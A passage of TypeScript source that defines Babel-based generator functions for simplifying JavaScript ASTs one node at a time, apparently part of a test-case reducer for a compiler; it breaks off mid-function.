    if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that simplifies conditional expressions (a ? b : c) -> a, b, or c\n */\nfunction* simplifyConditionals(ast: t.File): Generator<t.File> {\n  // Count conditionals\n  let condCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isConditionalExpression(node)) {\n      condCount++;\n    }\n  });\n\n  // Try replacing with test condition\n  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let modified = false;\n    let idx = 0;\n\n    traverse(cloned, {\n      ConditionalExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.test);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with consequent\n  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let modified = false;\n    let idx = 0;\n\n    traverse(cloned, {\n      ConditionalExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.consequent);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Also try replacing with alternate\n  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let modified = false;\n    let idx = 0;\n\n    traverse(cloned, {\n      ConditionalExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.alternate);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies logical expressions (a && b) -> a or b\n */\nfunction* simplifyLogicalExpressions(ast: t.File): Generator<t.File> {\n  // Count logical expressions\n  let logicalCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isLogicalExpression(node)) {\n      logicalCount++;\n    }\n  });\n\n  // Try replacing with left side\n  for (let targetIdx = 0; targetIdx < logicalCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      LogicalExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.left);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with right side\n  for (let targetIdx = 0; targetIdx < logicalCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      LogicalExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.right);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies optional chains (a?.b) -> a.b\n */\nfunction* simplifyOptionalChains(ast: t.File): Generator<t.File> {\n  // Count optional expressions\n  let optionalCount = 0;\n  t.traverseFast(ast, node => {\n    if (\n      t.isOptionalMemberExpression(node) ||\n      t.isOptionalCallExpression(node)\n    ) {\n      optionalCount++;\n    }\n  });\n\n  for (let targetIdx = 0; targetIdx < optionalCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      OptionalMemberExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          const {object, property, computed} = path.node;\n          path.replaceWith(t.memberExpression(object, property, computed));\n          modified = true;\n        }\n        idx++;\n      },\n      OptionalCallExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          const {callee, arguments: args} = path.node;\n          if (t.isExpression(callee)) {\n            path.replaceWith(t.callExpression(callee, args));\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies await expressions: await expr -> expr\n */\nfunction* simplifyAwaitExpressions(ast: t.File): Generator<t.File> {\n  // Count await expressions\n  let awaitCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isAwaitExpression(node)) {\n      awaitCount++;\n    }\n  });\n\n  for (let targetIdx = 0; targetIdx < awaitCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      AwaitExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.argument);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies if statements:\n * - Replace with test expression (as expression statement)\n * - Replace with consequent block\n * - Replace with alternate block (if present)\n */\nfunction* simplifyIfStatements(ast: t.File): Generator<t.File> {\n  // Count if statements\n  let ifCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isIfStatement(node)) {\n      ifCount++;\n    }\n  });\n\n  // Try replacing with test expression\n  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      IfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.test));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with consequent\n  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      IfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.consequent);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with alternate (if present)\n  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      IfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.alternate) {\n          path.replaceWith(path.node.alternate);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies switch statements:\n * - Replace with discriminant expression\n * - Replace with each case's consequent statements\n */\nfunction* simplifySwitchStatements(ast: t.File): Generator<t.File> {\n  // Count switch statements\n  let switchCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isSwitchStatement(node)) {\n      switchCount++;\n    }\n  });\n\n  // Try replacing with discriminant\n  for (let targetIdx = 0; targetIdx < switchCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      SwitchStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.discriminant));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // For each switch, try replacing with each case's body\n  for (let targetIdx = 0; targetIdx < switchCount; targetIdx++) {\n    // Find case count for this switch\n    let caseCount = 0;\n    let currentIdx = 0;\n    t.traverseFast(ast, node => {\n      if (t.isSwitchStatement(node)) {\n        if (currentIdx === targetIdx) {\n          caseCount = node.cases.length;\n        }\n        currentIdx++;\n      }\n    });\n\n    for (let caseIdx = 0; caseIdx < caseCount; caseIdx++) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      traverse(cloned, {\n        SwitchStatement(path) {\n          if (modified) return;\n          if (idx === targetIdx) {\n            const switchCase = path.node.cases[caseIdx];\n            if (switchCase && switchCase.consequent.length > 0) {\n              path.replaceWithMultiple(switchCase.consequent);\n              modified = true;\n            }\n          }\n          idx++;\n        },\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that simplifies while statements:\n * - Replace with test expression\n * - Replace with body\n */\nfunction* simplifyWhileStatements(ast: t.File): Generator<t.File> {\n  // Count while statements\n  let whileCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isWhileStatement(node)) {\n      whileCount++;\n    }\n  });\n\n  // Try replacing with test\n  for (let targetIdx = 0; targetIdx < whileCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      WhileStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.test));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with body\n  for (let targetIdx = 0; targetIdx < whileCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      WhileStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies do-while statements:\n * - Replace with test expression\n * - Replace with body\n */\nfunction* simplifyDoWhileStatements(ast: t.File): Generator<t.File> {\n  // Count do-while statements\n  let doWhileCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isDoWhileStatement(node)) {\n      doWhileCount++;\n    }\n  });\n\n  // Try replacing with test\n  for (let targetIdx = 0; targetIdx < doWhileCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      DoWhileStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.test));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with body\n  for (let targetIdx = 0; targetIdx < doWhileCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      DoWhileStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies for statements:\n * - Replace with init (if expression)\n * - Replace with test expression\n * - Replace with update expression\n * - Replace with body\n */\nfunction* simplifyForStatements(ast: t.File): Generator<t.File> {\n  // Count for statements\n  let forCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isForStatement(node)) {\n      forCount++;\n    }\n  });\n\n  // Try replacing with init (if it's an expression)\n  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.init) {\n          if (t.isExpression(path.node.init)) {\n            path.replaceWith(t.expressionStatement(path.node.init));\n          } else {\n            // It's a VariableDeclaration\n            path.replaceWith(path.node.init);\n          }\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with test\n  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.test) {\n          path.replaceWith(t.expressionStatement(path.node.test));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with update\n  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.update) {\n          path.replaceWith(t.expressionStatement(path.node.update));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with body\n  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies for-in statements:\n * - Replace with left (variable declaration or expression)\n * - Replace with right expression\n * - Replace with body\n */\nfunction* simplifyForInStatements(ast: t.File): Generator<t.File> {\n  // Count for-in statements\n  let forInCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isForInStatement(node)) {\n      forInCount++;\n    }\n  });\n\n  // Try replacing with left\n  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForInStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          const left = path.node.left;\n          if (t.isExpression(left)) {\n            path.replaceWith(t.expressionStatement(left));\n          } else {\n            path.replaceWith(left);\n          }\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with right\n  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForInStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.right));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with body\n  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForInStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies for-of statements:\n * - Replace with left (variable declaration or expression)\n * - Replace with right expression\n * - Replace with body\n */\nfunction* simplifyForOfStatements(ast: t.File): Generator<t.File> {\n  // Count for-of statements\n  let forOfCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isForOfStatement(node)) {\n      forOfCount++;\n    }\n  });\n\n  // Try replacing with left\n  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForOfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          const left = path.node.left;\n          if (t.isExpression(left)) {\n            path.replaceWith(t.expressionStatement(left));\n          } else {\n            path.replaceWith(left);\n          }\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with right\n  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForOfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(t.expressionStatement(path.node.right));\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with body\n  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ForOfStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies variable declarations by removing init expressions.\n * let x = expr; -> let x;\n * var x = expr; -> var x;\n * Note: const without init is invalid, so we skip const declarations.\n */\nfunction* simplifyVariableDeclarations(ast: t.File): Generator<t.File> {\n  // Collect all variable declarators with init expressions (excluding const)\n  const declaratorSites: Array<{declIndex: number}> = [];\n  let declIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isVariableDeclaration(node) && node.kind !== 'const') {\n      for (const declarator of node.declarations) {\n        if (declarator.init) {\n          declaratorSites.push({declIndex});\n          declIndex++;\n        }\n      }\n    }\n  });\n\n  // Try removing init from each declarator\n  for (const {declIndex: targetDeclIdx} of declaratorSites) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    t.traverseFast(cloned, node => {\n      if (modified) return;\n      if (t.isVariableDeclaration(node) && node.kind !== 'const') {\n        for (const declarator of node.declarations) {\n          if (declarator.init) {\n            if (idx === targetDeclIdx) {\n              declarator.init = null;\n              modified = true;\n              return;\n            }\n            idx++;\n          }\n        }\n      }\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies try/catch/finally statements:\n * - Replace with try block contents\n * - Replace with catch block contents (if present)\n * - Replace with finally block contents (if present)\n */\nfunction* simplifyTryStatements(ast: t.File): Generator<t.File> {\n  // Count try statements\n  let tryCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isTryStatement(node)) {\n      tryCount++;\n    }\n  });\n\n  // Try replacing with try block contents\n  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      TryStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          path.replaceWith(path.node.block);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with catch block contents (if present)\n  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      TryStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.handler) {\n          path.replaceWith(path.node.handler.body);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // Try replacing with finally block contents (if present)\n  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      TryStatement(path) {\n        if (modified) return;\n        if (idx === targetIdx && path.node.finalizer) {\n          path.replaceWith(path.node.finalizer);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that simplifies single-statement block statements:\n * { statement } -> statement\n */\nfunction* simplifySingleStatementBlocks(ast: t.File): Generator<t.File> {\n  // Count block statements with exactly one statement\n  let blockCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isBlockStatement(node) && node.body.length === 1) {\n      blockCount++;\n    }\n  });\n\n  for (let targetIdx = 0; targetIdx < blockCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      BlockStatement(path) {\n        if (modified) return;\n        if (path.node.body.length === 1 && idx === targetIdx) {\n          // Don't unwrap blocks that require BlockStatement syntax\n          if (\n            t.isFunction(path.parent) ||\n            t.isCatchClause(path.parent) ||\n            t.isClassMethod(path.parent) ||\n            t.isObjectMethod(path.parent) ||\n            t.isTryStatement(path.parent)\n          ) {\n            idx++;\n            return;\n          }\n          path.replaceWith(path.node.body[0]);\n          modified = true;\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that removes array elements one at a time\n */\nfunction* removeArrayElements(ast: t.File): Generator<t.File> {\n  // Collect all array expressions with their element counts\n  const arraySites: Array<{arrayIndex: number; elementCount: number}> = [];\n  let arrayIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isArrayExpression(node) && node.elements.length > 0) {\n      arraySites.push({arrayIndex, elementCount: node.elements.length});\n      arrayIndex++;\n    }\n  });\n\n  // For each array, try removing each element one at a time (from end to start)\n  for (const {arrayIndex: targetArrayIdx, elementCount} of arraySites) {\n    for (let elemIdx = elementCount - 1; elemIdx >= 0; elemIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isArrayExpression(node) && node.elements.length > 0) {\n          if (idx === targetArrayIdx && elemIdx < node.elements.length) {\n            node.elements.splice(elemIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that removes JSX element attributes (props) one at a time\n */\nfunction* removeJSXAttributes(ast: t.File): Generator<t.File> {\n  // Collect all JSX elements with their attribute counts\n  const jsxSites: Array<{jsxIndex: number; attrCount: number}> = [];\n  let jsxIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isJSXOpeningElement(node) && node.attributes.length > 0) {\n      jsxSites.push({jsxIndex, attrCount: node.attributes.length});\n      jsxIndex++;\n    }\n  });\n\n  // For each JSX element, try removing each attribute one at a time (from end to start)\n  for (const {jsxIndex: targetJsxIdx, attrCount} of jsxSites) {\n    for (let attrIdx = attrCount - 1; attrIdx >= 0; attrIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isJSXOpeningElement(node) && node.attributes.length > 0) {\n          if (idx === targetJsxIdx && attrIdx < node.attributes.length) {\n            node.attributes.splice(attrIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that removes JSX element children one at a time\n */\nfunction* removeJSXChildren(ast: t.File): Generator<t.File> {\n  // Collect all JSX elements with children\n  const jsxSites: Array<{jsxIndex: number; childCount: number}> = [];\n  let jsxIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isJSXElement(node) && node.children.length > 0) {\n      jsxSites.push({jsxIndex, childCount: node.children.length});\n      jsxIndex++;\n    }\n  });\n\n  // For each JSX element, try removing each child one at a time (from end to start)\n  for (const {jsxIndex: targetJsxIdx, childCount} of jsxSites) {\n    for (let childIdx = childCount - 1; childIdx >= 0; childIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isJSXElement(node) && node.children.length > 0) {\n          if (idx === targetJsxIdx && childIdx < node.children.length) {\n            node.children.splice(childIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that removes JSX fragment children one at a time\n */\nfunction* removeJSXFragmentChildren(ast: t.File): Generator<t.File> {\n  // Collect all JSX fragments with children\n  const fragmentSites: Array<{fragIndex: number; childCount: number}> = [];\n  let fragIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isJSXFragment(node) && node.children.length > 0) {\n      fragmentSites.push({fragIndex, childCount: node.children.length});\n      fragIndex++;\n    }\n  });\n\n  // For each fragment, try removing each child one at a time (from end to start)\n  for (const {fragIndex: targetFragIdx, childCount} of fragmentSites) {\n    for (let childIdx = childCount - 1; childIdx >= 0; childIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isJSXFragment(node) && node.children.length > 0) {\n          if (idx === targetFragIdx && childIdx < node.children.length) {\n            node.children.splice(childIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that replaces single-element arrays with the element itself\n */\nfunction* simplifySingleElementArrays(ast: t.File): Generator<t.File> {\n  // Count single-element arrays\n  let arrayCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isArrayExpression(node) && node.elements.length === 1) {\n      arrayCount++;\n    }\n  });\n\n  for (let targetIdx = 0; targetIdx < arrayCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ArrayExpression(path) {\n        if (modified) return;\n        if (path.node.elements.length === 1 && idx === targetIdx) {\n          const elem = path.node.elements[0];\n          if (t.isExpression(elem)) {\n            path.replaceWith(elem);\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that replaces single-property objects with the property value.\n * For regular properties: {key: value} -> value\n * For computed properties: {[key]: value} -> key (also try value)\n */\nfunction* simplifySinglePropertyObjects(ast: t.File): Generator<t.File> {\n  // Count single-property objects\n  let objectCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isObjectExpression(node) && node.properties.length === 1) {\n      objectCount++;\n    }\n  });\n\n  // Try replacing with value\n  for (let targetIdx = 0; targetIdx < objectCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ObjectExpression(path) {\n        if (modified) return;\n        if (path.node.properties.length === 1 && idx === targetIdx) {\n          const prop = path.node.properties[0];\n          if (t.isObjectProperty(prop) && t.isExpression(prop.value)) {\n            path.replaceWith(prop.value);\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n\n  // For computed properties, also try replacing with key\n  for (let targetIdx = 0; targetIdx < objectCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      ObjectExpression(path) {\n        if (modified) return;\n        if (path.node.properties.length === 1 && idx === targetIdx) {\n          const prop = path.node.properties[0];\n          if (\n            t.isObjectProperty(prop) &&\n            prop.computed &&\n            t.isExpression(prop.key)\n          ) {\n            path.replaceWith(prop.key);\n            modified = true;\n          }\n        }\n        idx++;\n      },\n    });\n\n    if (modified) {\n      yield cloned;\n    }\n  }\n}\n\n/**\n * Generator that removes object properties one at a time\n */\nfunction* removeObjectProperties(ast: t.File): Generator<t.File> {\n  // Collect all object expressions with their property counts\n  const objectSites: Array<{objectIndex: number; propCount: number}> = [];\n  let objectIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isObjectExpression(node) && node.properties.length > 0) {\n      objectSites.push({objectIndex, propCount: node.properties.length});\n      objectIndex++;\n    }\n  });\n\n  // For each object, try removing each property one at a time (from end to start)\n  for (const {objectIndex: targetObjIdx, propCount} of objectSites) {\n    for (let propIdx = propCount - 1; propIdx >= 0; propIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isObjectExpression(node) && node.properties.length > 0) {\n          if (idx === targetObjIdx && propIdx < node.properties.length) {\n            node.properties.splice(propIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that removes elements from array destructuring patterns one at a time\n */\nfunction* removeArrayPatternElements(ast: t.File): Generator<t.File> {\n  // Collect all array patterns with elements\n  const patternSites: Array<{patternIndex: number; elementCount: number}> = [];\n  let patternIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isArrayPattern(node) && node.elements.length > 0) {\n      patternSites.push({patternIndex, elementCount: node.elements.length});\n      patternIndex++;\n    }\n  });\n\n  // For each pattern, try removing each element (from end to start)\n  for (const {patternIndex: targetPatternIdx, elementCount} of patternSites) {\n    for (let elemIdx = elementCount - 1; elemIdx >= 0; elemIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isArrayPattern(node) && node.elements.length > 0) {\n          if (idx === targetPatternIdx && elemIdx < node.elements.length) {\n            node.elements.splice(elemIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that removes properties from object destructuring patterns one at a time\n */\nfunction* removeObjectPatternProperties(ast: t.File): Generator<t.File> {\n  // Collect all object patterns with properties\n  const patternSites: Array<{patternIndex: number; propCount: number}> = [];\n  let patternIndex = 0;\n  t.traverseFast(ast, node => {\n    if (t.isObjectPattern(node) && node.properties.length > 0) {\n      patternSites.push({patternIndex, propCount: node.properties.length});\n      patternIndex++;\n    }\n  });\n\n  // For each pattern, try removing each property (from end to start)\n  for (const {patternIndex: targetPatternIdx, propCount} of patternSites) {\n    for (let propIdx = propCount - 1; propIdx >= 0; propIdx--) {\n      const cloned = cloneAst(ast);\n      let idx = 0;\n      let modified = false;\n\n      t.traverseFast(cloned, node => {\n        if (modified) return;\n        if (t.isObjectPattern(node) && node.properties.length > 0) {\n          if (idx === targetPatternIdx && propIdx < node.properties.length) {\n            node.properties.splice(propIdx, 1);\n            modified = true;\n          }\n          idx++;\n        }\n      });\n\n      if (modified) {\n        yield cloned;\n      }\n    }\n  }\n}\n\n/**\n * Generator that simplifies assignment expressions (a = b) -> a or b\n */\nfunction* simplifyAssignmentExpressions(ast: t.File): Generator<t.File> {\n  // Count assignment expressions\n  let assignmentCount = 0;\n  t.traverseFast(ast, node => {\n    if (t.isAssignmentExpression(node)) {\n      assignmentCount++;\n    }\n  });\n\n  // Try replacing with left side (assignment target)\n  for (let targetIdx = 0; targetIdx < assignmentCount; targetIdx++) {\n    const cloned = cloneAst(ast);\n    let idx = 0;\n    let modified = false;\n\n    traverse(cloned, {\n      AssignmentExpression(path) {\n        if (modified) return;\n        if (idx === targetIdx) {\n          const left = path.node.left;\n          if 